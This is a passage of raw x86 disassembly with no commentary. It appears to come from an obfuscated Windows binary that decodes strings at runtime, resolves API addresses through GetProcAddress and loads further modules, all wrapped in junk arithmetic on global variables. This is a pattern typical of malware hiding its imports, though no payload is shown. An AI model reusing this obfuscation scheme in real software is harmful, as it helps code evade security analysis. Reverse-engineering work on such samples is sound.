mov word [0x43ffce], cx
push esi
push dword [0x458380]
call ebp
mov dword [0x43f0d8], eax
add dword [0x44f10c], 0x40c82b
push 0xd
push 0x1e1c
call fcn.004103ea
add esp, 8
mov edi, eax
or dword [0x45442c], 0xaf44ca4c
push esi
push 0x13
call fcn.0040d60f
add esp, 8
mov eax, dword [0x452bcc]
and eax, dword [0x450e94]
and eax, 0x7b5f3bec
mov dword [0x450e94], eax
push edi
push dword [0x458380]
call ebp
mov dword [0x43f0dc], eax
or dword [0x454c80], 0x4d9b1eef
push 0xf
push 0x345f
call fcn.004103ea
add esp, 8
mov esi, eax
mov eax, dword [0x4566d4]
mov dword [0x44b2c0], eax
push edi
push 0xd
call fcn.0040d60f
add esp, 8
movzx eax, word [0x441c9a]
inc eax
mov word [0x441c9a], ax
cwde
imul eax, eax, 0x26c0904b
add eax, 0xc0b092a4
cmp eax, 0xebed2f94
jl 0x417e40
mov eax, dword [0x44b148]
sar eax, 2
mov ecx, 0x3977daef
sub ecx, eax
xor dword [0x44b570], ecx
push esi
push dword [0x458380]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43f0e0], eax
mov eax, dword [0x4534c4]
cmp eax, 0xdc6d2606
jne 0x417e7e
mov eax, dword [0x44f5e4]
imul eax, eax, 0xe950f42c
and eax, 0xefb4
movzx ecx, word [0x44306c]
xor ecx, eax
mov word [0x44306c], cx
push 0x15
push 0x25bd
call fcn.004103ea
add esp, 8
mov edi, eax
mov eax, dword [0x44a890]
shl eax, 6
xor dword [0x44e454], eax
push esi
push 0xf
call fcn.0040d60f
add esp, 8
xor dword [0x44a494], 0xf7c7dee7
push edi
push dword [0x458380]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43f0e4], eax
mov dword [0x44a040], 0xc23f286
push 0xc
push 0xe06
call fcn.004103ea
add esp, 8
mov esi, eax
mov eax, dword [0x453808]
lea ecx, [eax + 1]
mov dword [0x453808], ecx
cmp eax, 0xad8e3cd7
je 0x417f04
movsx eax, word [0x44495a]
shl eax, 3
and dword [0x45205c], eax
push edi
push 0x15
call fcn.0040d60f
add esp, 8
add dword [0x44ce14], 0xf11b17c5
push esi
push dword [0x458380]
call ebp
mov dword [0x43f0e8], eax
and dword [0x44c82c], 0xe6206d6b
push 0xa
push 0x1016
call fcn.004103ea
add esp, 8
mov edi, eax
movsx eax, word [0x4403c2]
imul eax, eax, 0xb7b4a224
xor dword [0x45142c], eax
push esi
push 0xc
call fcn.0040d60f
add esp, 8
and dword [0x44d3cc], 0x3e3c4f42
push edi
push dword [0x458380]
call ebp
mov dword [0x43f0ec], eax
add dword [0x44bbf0], 0x60d95884
push 0xa
push 0x4912
call fcn.004103ea
add esp, 8
mov ebx, eax
mov eax, dword [0x44f24c]
dec eax
mov dword [0x44f24c], eax
imul eax, eax, 0x4f1c2ff3
add dword [0x4538e8], eax
push edi
push 0xa
call fcn.0040d60f
add esp, 8
xor dword [0x45293c], 0x2bf64e89
push ebx
push dword [0x458380]
call ebp
mov dword [0x43f0f0], eax
add word [0x4476da], 0x5f2
push 0xe
push 0x1458
call fcn.004103ea
add esp, 8
mov esi, eax
mov eax, dword [0x44db54]
mov dword [0x44f490], 0x5092b400
push ebx
push 0xa
call fcn.0040d60f
add esp, 8
mov eax, dword [0x44eb14]
shl eax, 2
and eax, 0x7bb8
movzx ecx, word [0x444218]
or ecx, eax
mov word [0x444218], cx
push esi
push dword [0x458380]
call ebp
mov dword [0x43f0f4], eax
add dword [0x447f10], 0x2fe195e4
push 0xf
push 0x1447
call fcn.004103ea
add esp, 8
mov ebx, eax
and dword [0x448f40], 0x350a2809
push esi
push 0xe
call fcn.0040d60f
add esp, 8
and word [0x446334], 0xe92a
push ebx
push dword [0x458380]
call ebp
mov dword [0x43f0f8], eax
mov eax, dword [0x455df4]
push 0xa
push 0x26e
call fcn.004103ea
add esp, 8
mov edi, eax
and dword [0x44be80], 0xf657fb7d
push ebx
push 0xf
call fcn.0040d60f
add esp, 8
mov eax, dword [0x4574bc]
cmp eax, 0x99ab6d49
jne 0x4180c0
mov eax, dword [0x454834]
sar eax, 9
imul eax, dword [0x44c11c]
mov dword [0x44c11c], eax
jmp 0x4180ca
xor dword [0x44f8a8], 0x5918651c
push edi
push dword [0x458380]
call ebp
mov dword [0x43f0fc], eax
mov dword [0x4557a4], 0xa9f50507
push 0xd
push 0x33b4
call fcn.004103ea
add esp, 8
mov esi, eax
mov eax, 0x3662993b
xor eax, dword [0x449d80]
or dword [0x448e44], eax
push edi
push 0xa
call fcn.0040d60f
add esp, 8
and dword [0x448dcc], 0xe85647ea
push esi
push dword [0x458380]
call ebp
mov dword [0x43f100], eax
mov eax, 0x10d6bdf7
add eax, dword [0x451ec4]
cmp eax, 0x96894b3b
jl 0x418149
mov ax, word [0x43fd6e]
or dword [0x44fc34], 0xa35813e
push 0xd
push 0x99b
call fcn.004103ea
add esp, 8
mov edi, eax
mov eax, dword [0x44d380]
mov ecx, dword [0x4539cc]
not ecx
sub eax, ecx
and eax, 0x538a4aad
sub dword [0x454a38], eax
push esi
push 0xd
call fcn.0040d60f
add esp, 8
movsx eax, word [0x445baa]
movsx ecx, word [0x4414e2]
add ecx, eax
add dword [0x4578fc], ecx
push edi
push dword [0x458380]
call ebp
mov dword [0x43f104], eax
mov dword [0x44a688], 0x37dfc9fa
push 0x11
push 0x1e4f
call fcn.004103ea
add esp, 8
mov esi, eax
or word [0x43f2ce], 0xeabf
push edi
push 0xd
call fcn.0040d60f
add esp, 8
mov eax, dword [0x447c68]
shl eax, 5
movsx ecx, word [0x44619c]
lea edx, [ecx + 1]
mov word [0x44619c], dx
and eax, ecx
imul eax, dword [0x457714]
mov dword [0x457714], eax
push esi
push dword [0x458380]
call ebp
mov dword [0x43f108], eax
mov eax, dword [0x457a20]
sar eax, 3
mov ecx, dword [0x455f88]
lea edx, [ecx - 1]
mov dword [0x455f88], edx
add eax, ecx
cmp eax, 0x400540ed
jl 0x418231
add dword [0x452004], 0xbf9beaff
push 0x11
push 0x39c1
call fcn.004103ea
add esp, 8
mov edi, eax
mov eax, dword [0x450570]
dec eax
mov dword [0x450570], eax
mov ecx, dword [0x4521dc]
mov edx, dword [0x454e88]
shl edx, 7
add edx, ecx
and edx, eax
cmp edx, 0xab662e6e
jg 0x418274
xor dword [0x455c9c], 0xa41924ee
jmp 0x41828f
mov eax, dword [0x453720]
dec eax
mov dword [0x453720], eax
movzx ecx, word [0x442b20]
or ecx, eax
mov word [0x442b20], cx
push esi
push 0x11
call fcn.0040d60f
add esp, 8
mov dword [0x456678], 0xf91b3c12
push edi
push dword [0x458380]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43f10c], eax
movsx eax, word [0x43fdde]
not eax
and eax, 0xa4685111
cmp eax, 0xf78affd2
jg 0x4182df
movzx eax, word [0x44565c]
imul eax, eax, 0xf0d
or word [0x44530a], ax
push 0x13
push 0x35b6
call fcn.004103ea
add esp, 8
mov ebx, eax
xor dword [0x453fa4], 0x7e160d34
push edi
push 0x11
call fcn.0040d60f
add esp, 8
dec word [0x4473f0]
mov eax, dword [0x455470]
lea ecx, [eax - 1]
mov dword [0x455470], ecx
and eax, 0x2040c262
sub dword [0x452b88], eax
push ebx
push dword [0x458380]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43f110], eax
movzx eax, word [0x440d44]
not eax
and word [0x4469ae], ax
push 0xe
push 0x1e38
call fcn.004103ea
add esp, 8
mov esi, eax
mov eax, dword [0x44c2a4]
movzx ecx, word [0x441e74]
add ecx, eax
mov word [0x441e74], cx
push ebx
push 0x13
call fcn.0040d60f
add esp, 8
movsx eax, word [0x4470e8]
imul eax, eax, 0x8c213411
or eax, 0x3df21db0
mov ecx, dword [0x452a88]
shl ecx, 2
cmp eax, ecx
jne 0x4183a8
imul eax, dword [0x4531a8], 0x23400851
mov dword [0x4531a8], eax
jmp 0x4183b2
xor dword [0x452a8c], 0x7cef97fc
push esi
push dword [0x458380]
call ebp
mov dword [0x43f114], eax
and dword [0x454f60], 0x835d8485
push 0xd
push 0x35b
call fcn.004103ea
add esp, 8
mov ebx, eax
add dword [0x449858], 0x2ae08e3c
push esi
push 0xe
call fcn.0040d60f
add esp, 8
imul eax, dword [0x4570e4], 0xe8e8eaea
or eax, 0x1081be08
and dword [0x448b68], eax
push ebx
push dword [0x458380]
call ebp
mov dword [0x43f118], eax
xor dword [0x45191c], 0x26889db9
push 0xa
push 0x6dc
call fcn.004103ea
add esp, 8
mov edi, eax
mov eax, dword [0x44b948]
shl eax, 5
xor dword [0x44ac54], eax
push ebx
push 0xd
call fcn.0040d60f
add esp, 8
or dword [0x457ce8], 0x1c2ffdfb
push edi
push dword [0x458380]
call ebp
mov dword [0x43f11c], eax
xor dword [0x453be0], 0xf52ffdfb
push 0xc
push 0xa13
call fcn.004103ea
add esp, 8
mov esi, eax
movsx eax, word [0x446328]
imul eax, eax, 0xb7683ba8
movsx ecx, word [0x440536]
mov edx, dword [0x4502c8]
inc edx
mov dword [0x4502c8], edx
xor edx, ecx
cmp eax, edx
jle 0x4184ca
mov ax, word [0x446b4a]
mov eax, dword [0x455d80]
mov ecx, dword [0x4567b0]
lea edx, [ecx + 1]
mov dword [0x4567b0], edx
lea eax, [ecx + eax + 1]
or eax, 0xd13c6589
sub dword [0x44caf4], eax
push edi
push 0xa
call fcn.0040d60f
add esp, 8
add dword [0x44f694], 0x68299183
push esi
push dword [0x458380]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43f120], eax
mov eax, dword [0x455d0c]
lea ecx, [eax + 1]
mov dword [0x455d0c], ecx
cmp eax, 0x7cf471da
je 0x418510
and dword [0x44f4cc], 0xd79f5263
push 0x11
push 0x39
call fcn.004103ea
add esp, 8
mov edi, eax
mov eax, dword [0x4531e4]
inc eax
mov dword [0x4531e4], eax
imul eax, eax, 0xf3b243d1
cmp eax, 0x80c8e7f
jg 0x418540
mov eax, dword [0x451cbc]
mov eax, dword [0x452918]
push esi
push 0xc
call fcn.0040d60f
add esp, 8
imul ax, word [0x445bcc], 0xc07a
mov word [0x445bcc], ax
push edi
push dword [0x458380]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43f124], eax
mov eax, dword [0x458040]
lea ecx, [eax - 1]
mov dword [0x458040], ecx
cmp eax, 0xb17f271b
jg 0x4185a0
mov eax, dword [0x44def8]
lea ecx, [eax + 1]
mov dword [0x44def8], ecx
add eax, 0xf0099a42
imul eax, dword [0x44d484]
mov dword [0x44d484], eax
push 0x10
push 0x1f26
call fcn.004103ea
add esp, 8
mov ebx, eax
mov dword [0x452178], 0x7009d1e1
push edi
push 0x11
call fcn.0040d60f
add esp, 8
imul ax, word [0x43fb74], 0x98b7
mov word [0x43fb74], ax
push ebx
push dword [0x458380]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43f128], eax
add dword [0x4481e4], 0x5bddfc1d
push 0xb
push 0x3b02
call fcn.004103ea
add esp, 8
mov esi, eax
movsx eax, word [0x445b92]
add dword [0x454344], eax
push ebx
push 0x10
call fcn.0040d60f
add esp, 8
mov eax, dword [0x44afec]
lea ecx, [eax - 1]
mov dword [0x44afec], ecx
cmp eax, 0xea3eed4d
jne 0x418640
mov eax, 0x21bbe2be
add eax, dword [0x454118]
or dword [0x4569f0], eax
push esi
push dword [0x458380]
call ebp
mov dword [0x43f12c], eax
xor word [0x43ff7c], 0x2137
push 0xd
push 0x2577
call fcn.004103ea
add esp, 8
mov edi, eax
xor word [0x443a84], 0x91f0
push esi
push 0xb
call fcn.0040d60f
add esp, 8
and dword [0x44da00], 0x6e6235d7
push edi
push dword [0x458380]
call ebp
mov dword [0x43f130], eax
and dword [0x453b14], 0xdf7c7dde
push 0xb
push 0xd4e
call fcn.004103ea
add esp, 8
mov esi, eax
xor word [0x444d04], 0xc206
push edi
push 0xd
call fcn.0040d60f
add esp, 8
add word [0x443f6e], 0x16b5
push esi
push dword [0x458380]
call ebp
mov dword [0x43f134], eax
movsx eax, word [0x4457cc]
lea ecx, [eax - 1]
mov word [0x4457cc], cx
add dword [0x453464], eax
push 0xc
push 0x350c
call fcn.004103ea
add esp, 8
mov ebx, eax
movsx eax, word [0x445c7a]
mov ecx, 0xa47d374a
sub ecx, eax
or dword [0x44de34], ecx
push esi
push 0xb
call fcn.0040d60f
add esp, 8
imul ax, word [0x445d1e], 0x7e4b
mov word [0x445d1e], ax
push ebx
push dword [0x458380]
call ebp
mov dword [0x43f138], eax
xor dword [0x451bec], 0x2902f1f6
push 0x13
push 0x2586
call fcn.004103ea
add esp, 8
mov edi, eax
mov word [0x440ea8], 0x9d42
push ebx
push 0xc
call fcn.0040d60f
add esp, 8
or word [0x44428e], 0xf26b
push edi
push dword [0x458380]
call ebp
mov dword [0x43f13c], eax
mov word [0x445c88], 0xf854
push 0xe
push 0x2811
call fcn.004103ea
add esp, 8
mov esi, eax
mov ax, word [0x444a80]
xor ax, word [0x4449f4]
cwde
or eax, 0x9e5cd104
cmp eax, 0xfcb381fc
ja 0x4187d8
movzx eax, word [0x4417a6]
imul eax, eax, 0x74e2
and eax, 0x850a
imul ax, word [0x44032a]
mov word [0x44032a], ax
push edi
push 0x13
call fcn.0040d60f
add esp, 8
mov eax, dword [0x454610]
lea ecx, [eax + 1]
mov dword [0x454610], ecx
imul eax, dword [0x44cad4]
shl eax, 3
xor eax, 0x4803eac1
mov ecx, 0x1ef5d637
or ecx, dword [0x44dc18]
cmp eax, ecx
je 0x418818
mov word [0x442094], 0xcd20
push esi
push dword [0x458380]
call ebp
mov dword [0x43f140], eax
imul eax, dword [0x44e60c], 0x90a6b447
mov dword [0x44e60c], eax
push 7
push 0x2719
call fcn.004103ea
add esp, 8
mov edi, eax
movzx eax, word [0x4428b2]
inc eax
mov word [0x4428b2], ax
cwde
imul eax, dword [0x44da1c]
mov dword [0x44d334], eax
push esi
push 0xe
call fcn.0040d60f
add esp, 8
or word [0x446afc], 0xae1a
push edi
push dword [0x458380]
call ebp
mov dword [0x43f144], eax
mov eax, dword [0x448354]
and eax, 0x9fa33dc7
mov ecx, dword [0x44c5c0]
lea edx, [ecx - 1]
mov dword [0x44c5c0], edx
add ecx, 0x71a903d5
mov edx, dword [0x44a114]
shl edx, 6
or edx, ecx
cmp eax, edx
jne 0x4188bd
xor dword [0x454e8c], 0x470434f0
jmp 0x4188c7
and dword [0x455f9c], 0x7a1ab0b3
push 9
push 0x1e01
call fcn.004103ea
add esp, 8
mov esi, eax
mov eax, dword [0x44edb4]
shl eax, 0xa
add eax, 0x697336a7
or eax, 0xe100fb8
imul eax, dword [0x44f218]
mov dword [0x44f218], eax
push edi
push 7
call fcn.0040d60f
add esp, 8
mov eax, dword [0x454d68]
dec eax
mov dword [0x454d68], eax
add eax, dword [0x44e5c4]
xor eax, 0x6a9bf5b2
and dword [0x4492f0], eax
push esi
push dword [0x458380]
call ebp
mov dword [0x43f148], eax
mov eax, dword [0x44dd94]
lea ecx, [eax + 1]
mov dword [0x44dd94], ecx
xor eax, 0x247e9ff2
mov dword [0x4570a8], eax
push 0x10
push 0x2bdb
call fcn.004103ea
add esp, 8
mov edi, eax
and dword [0x452cd4], 0x3fdd2cfa
push esi
push 9
call fcn.0040d60f
add esp, 8
add dword [0x4563a0], 0xe6876078
push edi
push dword [0x458380]
call ebp
mov dword [0x43f14c], eax
add dword [0x454ba4], 0x753d564b
push 0xd
push 0x2606
call fcn.004103ea
add esp, 8
mov esi, eax
mov eax, dword [0x452f0c]
mov eax, dword [0x455bbc]
lea ecx, [eax - 1]
mov dword [0x455bbc], ecx
and eax, 0x877778e0
or eax, dword [0x44c7e4]
cmp eax, 0xd5fa65c7
jg 0x4189c7
inc dword [0x44dca0]
push edi
push 0x10
call fcn.0040d60f
add esp, 8
add word [0x445064], 0xff06
push esi
push dword [0x458380]
call ebp
mov dword [0x43f150], eax
and word [0x4432d0], 0x72a
push 0x18
push 0x3a5a
call fcn.004103ea
add esp, 8
mov edi, eax
mov eax, 0xe687c035
or eax, dword [0x44dc28]
xor dword [0x44a814], eax
push esi
push 0xd
call fcn.0040d60f
add esp, 8
movsx eax, word [0x447540]
mov ecx, dword [0x44eff4]
imul ecx, eax
mov eax, dword [0x451a14]
lea edx, [eax - 1]
mov dword [0x451a14], edx
imul ecx, eax
add dword [0x4523ac], ecx
push edi
push dword [0x458380]
call ebp
mov dword [0x43f154], eax
imul eax, dword [0x452840], 0x9f7e0888
mov dword [0x452840], eax
push 0xb
push 0x2c36
call fcn.004103ea
add esp, 8
mov esi, eax
and dword [0x458054], 0xe029012c
push edi
push 0x18
call fcn.0040d60f
add esp, 8
mov dword [0x449650], 0xa1f11ff0
push esi
push dword [0x458380]
call ebp
mov dword [0x43f158], eax
movsx eax, word [0x4435cc]
and dword [0x450bf4], eax
push 0x11
push 0x2635
call fcn.004103ea
add esp, 8
mov ebx, eax
and dword [0x44c480], 0x32c2e25
push esi
push 0xb
call fcn.0040d60f
add esp, 8
and dword [0x4543c0], 0xb5445367
push ebx
push dword [0x458380]
call ebp
mov dword [0x43f15c], eax
mov eax, dword [0x457c50]
dec eax
mov dword [0x457c50], eax
xor eax, 0xf261d20b
and dword [0x44ee5c], eax
push 0x11
push 0x25f3
call fcn.004103ea
add esp, 8
mov edi, eax
mov dword [0x457fa4], 0xfff97b9d
push ebx
push 0x11
call fcn.0040d60f
add esp, 8
add word [0x43f71e], 0x7fc9
push edi
push dword [0x458380]
call ebp
mov dword [0x43f160], eax
mov eax, dword [0x456f30]
sub dword [0x450b80], eax
push 0x12
push 0x1f38
call fcn.004103ea
add esp, 8
mov esi, eax
mov ax, word [0x446610]
imul eax, dword [0x4530e0], 0xf884f342
xor eax, 0x9591fcbd
cmp eax, 0xfeb95054
jg 0x418b86
imul eax, dword [0x4569dc], 0x20324736
mov dword [0x4569dc], eax
push edi
push 0x11
call fcn.0040d60f
add esp, 8
mov eax, dword [0x44d4bc]
movzx ecx, word [0x43f612]
imul ecx, eax
imul eax, ecx, 0xcd274bda
mov word [0x43f612], ax
push esi
push dword [0x458380]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43f164], eax
add dword [0x44f490], 0x92285c09
push 0x15
push 0x2df0
call fcn.004103ea
add esp, 8
mov edi, eax
xor dword [0x44b93c], 0x88c1a0c2
push esi
push 0x12
call fcn.0040d60f
add esp, 8
mov eax, dword [0x44fa80]
lea ecx, [eax - 1]
mov dword [0x44fa80], ecx
movsx ecx, word [0x4413dc]
lea eax, [eax + ecx + 0x532617e3]
cmp eax, 0x2d26f16c
jg 0x418c1c
and word [0x441ca6], 0x6030
jmp 0x418c3c
movzx eax, word [0x446ae0]
inc eax
mov word [0x446ae0], ax
cwde
imul eax, eax, 0x5e39de30
add eax, 0x9075f60b
xor dword [0x44dc40], eax
push edi
push dword [0x458380]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43f168], eax
or word [0x446866], 0xd9de
push 0xb
push 0x420d
call fcn.004103ea
add esp, 8
mov esi, eax
mov eax, 0x15c587b9
add eax, dword [0x44b798]
or eax, dword [0x454258]
or eax, 0xe9f5a819
mov dword [0x454258], eax
push edi
push 0x15
call fcn.0040d60f
add esp, 8
mov eax, dword [0x450f5c]
cmp eax, 0x163b7b17
jg 0x418cb8
mov eax, dword [0x4491d0]
lea ecx, [eax + 1]
mov dword [0x4491d0], ecx
and eax, dword [0x44fa34]
and eax, 0xae0b0d62
mov dword [0x44fa34], eax
push esi
push dword [0x458380]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43f16c], eax
mov eax, 0xda4cfbd0
and eax, dword [0x45651c]
xor eax, 0x68cdcc7e
cmp eax, 0xfc3890d9
jl 0x418d02
mov eax, dword [0x4484a8]
imul eax, eax, 0x7dced78e
or eax, 0xca7c
movzx ecx, word [0x446cb8]
imul ecx, eax
mov word [0x446cb8], cx
push 0x12
push 0x493d
call fcn.004103ea
add esp, 8
mov edi, eax
mov eax, dword [0x4581b4]
cmp eax, 0xc504028a
jg 0x418d29
xor dword [0x44a154], 0xeb7d2247
push esi
push 0xb
call fcn.0040d60f
add esp, 8
mov eax, dword [0x450434]
push edi
push dword [0x458380]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43f170], eax
mov eax, dword [0x455aa8]
shl eax, 5
mov ecx, dword [0x44e0d0]
sar ecx, 9
and ecx, eax
cmp ecx, 0x858e609e
jl 0x418d93
mov eax, dword [0x452680]
lea ecx, [eax + 1]
mov dword [0x452680], ecx
imul eax, eax, 0x147df541
movsx ecx, word [0x440cd6]
lea edx, [ecx - 1]
mov word [0x440cd6], dx
add ecx, eax
and dword [0x450318], ecx
push 0x1d
push 0x491e
call fcn.004103ea
add esp, 8
mov ebx, eax
mov eax, dword [0x44a394]
shr eax, 2
add eax, 0x1de1
and eax, 0x1c8f
movzx ecx, word [0x443932]
sub ecx, eax
mov word [0x443932], cx
push edi
push 0x12
call fcn.0040d60f
add esp, 8
imul eax, dword [0x454054], 0x2c862426
mov ecx, dword [0x451200]
lea eax, [eax + ecx - 0x21adfc73]
mov dword [0x451200], eax
push ebx
push dword [0x458380]
call ebp
mov dword [0x43f174], eax
add dword [0x455be4], 0xda3d0475
push 0x15
push 0x2d3f
call fcn.004103ea
add esp, 8
mov esi, eax
and dword [0x44b81c], 0x4b94532
push ebx
push 0x1d
call fcn.0040d60f
add esp, 8
movsx eax, word [0x443208]
and eax, 0xa10d0460
or dword [0x44fb70], eax
push esi
push dword [0x458380]
call ebp
mov dword [0x43f178], eax
mov eax, dword [0x455af4]
cmp eax, 0xee7ffebf
jg 0x418e60
or word [0x446f4e], 0xb183
push 0xb
push 0x26e6
call fcn.004103ea
add esp, 8
mov edi, eax
mov eax, dword [0x454838]
shr eax, 0xa
movzx ecx, word [0x443096]
imul ecx, eax
mov word [0x443096], cx
push esi
push 0x15
call fcn.0040d60f
add esp, 8
mov eax, dword [0x44d410]
lea ecx, [eax - 1]
mov dword [0x44d410], ecx
mov ecx, dword [0x44c530]
inc ecx
mov dword [0x44c530], ecx
imul ecx, eax
imul eax, ecx, 0x8767bdb0
cmp eax, 0xa804f25
jl 0x418ed2
imul eax, dword [0x452d5c], 0x68156308
add dword [0x454af8], eax
jmp 0x418edd
mov eax, dword [0x44f5c8]
mov word [0x441ada], ax
push edi
push dword [0x458380]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43f17c], eax
mov eax, dword [0x44a348]
shl eax, 5
mov ecx, 0x248c71b7
sub ecx, eax
xor dword [0x454158], ecx
push 0x11
push 0x6a1
call fcn.004103ea
add esp, 8
mov esi, eax
add word [0x444c10], 0x9973
push edi
push 0xb
call fcn.0040d60f
add esp, 8
movsx eax, word [0x4411a6]
sar eax, 1
movsx ecx, word [0x446074]
lea edx, [ecx - 1]
mov word [0x446074], dx
or eax, ecx
cmp eax, 0xa48aaf1d
jl 0x418f55
xor word [0x44262e], 0x6dd
push esi
push dword [0x458380]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43f180], eax
and dword [0x451268], 0xf66a0661
push 0xb
push 0xd41
call fcn.004103ea
add esp, 8
mov edi, eax
mov eax, dword [0x44849c]
cmp eax, 0x5e4322af
jg 0x418fd1
mov eax, dword [0x44fb84]
lea ecx, [eax + 1]
mov dword [0x44fb84], ecx
mov ecx, 0x8c6a1117
and ecx, dword [0x4532a4]
or ecx, eax
cmp ecx, 0x4436e48
jl 0x418fdb
mov eax, dword [0x4544c4]
lea ecx, [eax - 1]
mov dword [0x4544c4], ecx
add eax, 0xb9c385fb
xor eax, 0x1ca3c8bf
sub dword [0x44b1bc], eax
jmp 0x418fdb
or dword [0x45833c], 0x425bd5d3
push esi
push 0x11
call fcn.0040d60f
add esp, 8
or dword [0x44bc20], 0x2b01229
push edi
call dword [0x43f1e0]
mov dword [0x458388], eax
add dword [0x454f5c], 0x4714bf8b
push 0xc
push 0x4847
call fcn.004103ea
add esp, 8
mov ebx, eax
mov eax, dword [0x4547b4]
lea ecx, [eax - 1]
mov dword [0x4547b4], ecx
add eax, 0xa27d6206
cmp eax, 0x601675eb
jl 0x41903b
add dword [0x45434c], 0x74bfa7f9
push edi
push 0xb
call fcn.0040d60f
add esp, 8
mov dword [0x454460], 0xac8810b8
push ebx
push dword [0x458388]
call ebp
mov dword [0x43f224], eax
mov eax, dword [0x453138]
lea ecx, [eax + 1]
mov dword [0x453138], ecx
add eax, 0xc3e2
movzx ecx, word [0x4462a8]
or ecx, eax
mov word [0x4462a8], cx
push 0xb
push 0x4081
call fcn.004103ea
add esp, 8
mov esi, eax
movzx eax, word [0x44133e]
add eax, 0xffffd91e
or word [0x440a16], ax
push ebx
push 0xc
call fcn.0040d60f
add esp, 8
imul eax, dword [0x4573f8], 0xd63643c4
mov dword [0x4573f8], eax
push esi
push dword [0x458388]
call ebp
mov dword [0x43f228], eax
mov eax, dword [0x44a564]
lea ecx, [eax + 1]
mov dword [0x44a564], ecx
cmp eax, 0x2e78dd27
jne 0x4190ea
mov ax, word [0x44228c]
jmp 0x41912a
mov eax, dword [0x453120]
sar eax, 7
add eax, 0xfb1fd6a9
mov ecx, dword [0x44ef84]
lea edx, [ecx - 1]
mov dword [0x44ef84], edx
add ecx, 0x5853ae73
cmp eax, ecx
jle 0x41912a
mov eax, dword [0x44924c]
and eax, 0xd8de
movzx ecx, word [0x447306]
sub ecx, eax
mov word [0x447306], cx
push 0xf
push 0x85a
call fcn.004103ea
add esp, 8
mov edi, eax
mov word [0x442a58], 0xa06c
push esi
push 0xb
call fcn.0040d60f
add esp, 8
mov eax, dword [0x455e18]
inc eax
mov dword [0x455e18], eax
movsx ecx, word [0x4401ea]
lea edx, [ecx - 1]
mov word [0x4401ea], dx
or eax, ecx
cmp eax, 0x11381697
jg 0x419199
mov eax, dword [0x44c720]
xor eax, 0xd8307ef0
movsx ecx, word [0x43f60c]
add ecx, 0xe90f609c
cmp eax, ecx
jne 0x419199
and dword [0x44c0c0], 0x1fac88d
push edi
push dword [0x458388]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43f22c], eax
mov dword [0x449108], 0xff77d6dd
push 0xb
push 0x4957
call fcn.004103ea
add esp, 8
mov esi, eax
imul eax, dword [0x454468], 0x520e43e3
mov dword [0x454468], eax
push edi
push 0xf
call fcn.0040d60f
add esp, 8
mov word [0x44226c], 0xed85
push esi
call dword [0x43f1e0]
mov dword [0x45838c], eax
movzx eax, word [0x4449b0]
lea ecx, [eax - 1]
mov word [0x4449b0], cx
mov ecx, 0x7e75
sub ecx, eax
add word [0x445602], cx
push esi
push 0xb
call fcn.0040d60f
add esp, 8
xor dword [0x44b7f0], 0x8014
cmp dword [0x45838c], 0
jne 0x419307
mov eax, dword [0x456a00]
add eax, eax
or eax, dword [0x4580c0]
and dword [0x447bb0], eax
push 0xc
push 0x3470
call fcn.004103ea
add esp, 8
mov esi, eax
mov eax, dword [0x451824]
lea ecx, [eax - 1]
mov dword [0x451824], ecx
mov ecx, 0x14019eaa
sub ecx, eax
imul ecx, dword [0x449524]
mov dword [0x449524], ecx
push esi
call dword [0x43f1e0]
mov dword [0x45838c], eax
movzx eax, word [0x44081c]
inc eax
mov word [0x44081c], ax
cwde
and eax, 0x8f964e0b
mov ecx, dword [0x4530ec]
lea edx, [ecx + 1]
mov dword [0x4530ec], edx
or eax, ecx
cmp eax, 0xd683e3a3
jne 0x4192c7
mov eax, dword [0x44ad00]
imul eax, dword [0x452d7c]
mov dword [0x452d7c], eax
jmp 0x4192d6
imul eax, dword [0x44fcc8], 0x195ea554
mov dword [0x44fcc8], eax
push esi
push 0xc
call fcn.0040d60f
add esp, 8
mov eax, dword [0x4517d0]
lea ecx, [eax + 1]
mov dword [0x4517d0], ecx
imul eax, eax, 0x79a6b3f9
mov ecx, dword [0x44dad8]
lea eax, [eax + ecx - 0x531a4741]
mov dword [0x44dad8], eax
mov eax, dword [0x44ed2c]
dec eax
mov dword [0x44ed2c], eax
xor eax, dword [0x457088]
add dword [0x44cb88], eax
push 0xb
push 0x1e2b
call fcn.004103ea
add esp, 8
mov edi, eax
mov eax, dword [0x454ef8]
inc eax
mov dword [0x454ef8], eax
mov ecx, dword [0x44d7ec]
sar ecx, 3
imul ecx, eax
xor ecx, 0x24f20f83
mov dword [0x45378c], ecx
push edi
push dword [0x45838c]
call ebp
mov dword [0x43f044], eax
or word [0x442c82], 0xc442
push 0xb
push 0x2d32
call fcn.004103ea
add esp, 8
mov esi, eax
imul eax, dword [0x458374], 0x3a4a6f0e
mov dword [0x458374], eax
push edi
push 0xb
call fcn.0040d60f
add esp, 8
mov eax, dword [0x44b8cc]
lea ecx, [eax + 1]
mov dword [0x44b8cc], ecx
or eax, 0x88000209
and dword [0x4501dc], eax
push esi
push dword [0x45838c]
call ebp
mov dword [0x43f048], eax
mov eax, dword [0x456140]
mov eax, dword [0x449824]
imul eax, dword [0x44c068], 0x73ef289c
mov dword [0x44c068], eax
push 0xd
push 0x8b4
call fcn.004103ea
add esp, 8
mov ebx, eax
mov word [0x444ff6], 0x10
push esi
push 0xb
call fcn.0040d60f
add esp, 8
movzx eax, word [0x43fc14]
xor eax, 0x6fb7
add word [0x43f386], ax
push ebx
push dword [0x45838c]
call ebp
mov dword [0x43f04c], eax
and dword [0x450270], 0xa6d42300
push 7
push 0x2c0c
call fcn.004103ea
add esp, 8
mov edi, eax
mov dword [0x44c42c], 0x6fe55e69
push ebx
push 0xd
call fcn.0040d60f
add esp, 8
mov ax, word [0x441e62]
mov eax, dword [0x453060]
shl eax, 4
add eax, 0xde5483a6
